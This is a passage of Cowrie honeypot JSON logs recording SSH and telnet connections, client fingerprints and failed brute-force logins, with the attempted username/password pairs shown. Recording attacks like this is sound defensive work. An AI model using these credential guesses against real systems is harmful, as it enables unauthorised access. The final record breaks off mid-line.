{"eventid":"cowrie.session.closed","duration":32.38488841056824,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:29.849321Z","src_ip":"152.42.224.71","session":"e60e03f322fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58170,"dst_ip":"10.17.0.5","dst_port":23,"session":"7278df07f8f7","protocol":"telnet","message":"New connection: 152.42.224.71:58170 (10.17.0.5:23) [session: 7278df07f8f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:30.027069Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58172,"dst_ip":"10.17.0.5","dst_port":23,"session":"519aa479f0c3","protocol":"telnet","message":"New connection: 152.42.224.71:58172 (10.17.0.5:23) [session: 519aa479f0c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:30.365213Z"}
{"eventid":"cowrie.session.closed","duration":117.83840036392212,"message":"Connection lost after 117 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:32.893808Z","src_ip":"152.42.224.71","session":"d903cf48e4ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58182,"dst_ip":"10.17.0.5","dst_port":23,"session":"8cb871d13f89","protocol":"telnet","message":"New connection: 152.42.224.71:58182 (10.17.0.5:23) [session: 8cb871d13f89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:33.892059Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":51728,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0eb01070ea9","protocol":"ssh","message":"New connection: 31.40.204.166:51728 (159.203.135.109:22) [session: d0eb01070ea9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:36.083655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:36.094768Z","src_ip":"31.40.204.166","session":"d0eb01070ea9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:36.217497Z","src_ip":"31.40.204.166","session":"d0eb01070ea9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"1","message":"login attempt [openclaw/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:37.026956Z","src_ip":"31.40.204.166","session":"d0eb01070ea9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":58516,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f372432acc6","protocol":"ssh","message":"New connection: 147.45.197.250:58516 (159.203.135.109:22) [session: 2f372432acc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:37.699268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:37.707439Z","src_ip":"147.45.197.250","session":"2f372432acc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:37.797623Z","src_ip":"147.45.197.250","session":"2f372432acc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2a3z","message":"login attempt [root/1q2a3z] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:38.067905Z","src_ip":"147.45.197.250","session":"2f372432acc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:38.189394Z","src_ip":"31.40.204.166","session":"d0eb01070ea9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:39.160699Z","src_ip":"147.45.197.250","session":"2f372432acc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38034,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e7fd1fb7554","protocol":"telnet","message":"New connection: 152.42.224.71:38034 (10.17.0.5:23) [session: 1e7fd1fb7554]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:40.207048Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.217.16.126","src_port":42712,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac05b82feb82","protocol":"ssh","message":"New connection: 182.217.16.126:42712 (159.203.135.109:22) [session: ac05b82feb82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:41.646839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:41.653510Z","src_ip":"182.217.16.126","session":"ac05b82feb82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:41.854420Z","src_ip":"182.217.16.126","session":"ac05b82feb82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":69.87576150894165,"message":"Connection lost after 69 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:42.328875Z","src_ip":"152.42.224.71","session":"3a56d9778e91","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"terry","message":"login attempt [root/terry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:42.704435Z","src_ip":"182.217.16.126","session":"ac05b82feb82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:43.916720Z","src_ip":"182.217.16.126","session":"ac05b82feb82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38042,"dst_ip":"10.17.0.5","dst_port":23,"session":"32801d9ffaf5","protocol":"telnet","message":"New connection: 152.42.224.71:38042 (10.17.0.5:23) [session: 32801d9ffaf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:44.454676Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":38024,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ffa8a43ba3a","protocol":"ssh","message":"New connection: 31.40.204.166:38024 (159.203.135.109:22) [session: 5ffa8a43ba3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:47.980302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:47.985664Z","src_ip":"31.40.204.166","session":"5ffa8a43ba3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41582,"dst_ip":"10.17.0.5","dst_port":23,"session":"5795c4a90acf","protocol":"telnet","message":"New connection: 152.42.224.71:41582 (10.17.0.5:23) [session: 5795c4a90acf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:48.068012Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:48.117958Z","src_ip":"31.40.204.166","session":"5ffa8a43ba3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456","message":"login attempt [debian/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:48.718151Z","src_ip":"31.40.204.166","session":"5ffa8a43ba3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:50.004304Z","src_ip":"31.40.204.166","session":"5ffa8a43ba3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":54422,"dst_ip":"159.203.135.109","dst_port":22,"session":"9628d18bc6de","protocol":"ssh","message":"New connection: 89.108.118.91:54422 (159.203.135.109:22) [session: 9628d18bc6de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:50.573691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:50.579725Z","src_ip":"89.108.118.91","session":"9628d18bc6de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:50.714194Z","src_ip":"89.108.118.91","session":"9628d18bc6de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dreams","message":"login attempt [root/dreams] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:51.113050Z","src_ip":"89.108.118.91","session":"9628d18bc6de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:52.249210Z","src_ip":"89.108.118.91","session":"9628d18bc6de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41590,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ff1cad4e8f0","protocol":"telnet","message":"New connection: 152.42.224.71:41590 (10.17.0.5:23) [session: 1ff1cad4e8f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:52.887125Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41596,"dst_ip":"10.17.0.5","dst_port":23,"session":"32ec27990962","protocol":"telnet","message":"New connection: 152.42.224.71:41596 (10.17.0.5:23) [session: 32ec27990962]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:55.685039Z"}
{"eventid":"cowrie.session.closed","duration":8.318095922470093,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:56.386005Z","src_ip":"152.42.224.71","session":"5795c4a90acf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":34330,"dst_ip":"159.203.135.109","dst_port":22,"session":"20993cfabbc3","protocol":"ssh","message":"New connection: 31.40.204.166:34330 (159.203.135.109:22) [session: 20993cfabbc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:59.790762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:59.794806Z","src_ip":"31.40.204.166","session":"20993cfabbc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:59.999695Z","src_ip":"31.40.204.166","session":"20993cfabbc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37448,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1545eba0e4c","protocol":"telnet","message":"New connection: 152.42.224.71:37448 (10.17.0.5:23) [session: d1545eba0e4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:00.067594Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz!QAZ","message":"login attempt [root/1qaz!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:00.613389Z","src_ip":"31.40.204.166","session":"20993cfabbc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:01.813195Z","src_ip":"31.40.204.166","session":"20993cfabbc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.12214803695679,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:08.408046Z","src_ip":"152.42.224.71","session":"8f9b4eb95b68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.814342737197876,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:08.706277Z","src_ip":"152.42.224.71","session":"8cb871d13f89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33536,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7c5caca4af4","protocol":"telnet","message":"New connection: 152.42.224.71:33536 (10.17.0.5:23) [session: f7c5caca4af4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:10.545823Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33546,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a364f96c779","protocol":"telnet","message":"New connection: 152.42.224.71:33546 (10.17.0.5:23) [session: 5a364f96c779]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:11.390388Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":60970,"dst_ip":"159.203.135.109","dst_port":22,"session":"8988c9fc0d72","protocol":"ssh","message":"New connection: 31.40.204.166:60970 (159.203.135.109:22) [session: 8988c9fc0d72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:12.707086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:12.712478Z","src_ip":"31.40.204.166","session":"8988c9fc0d72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes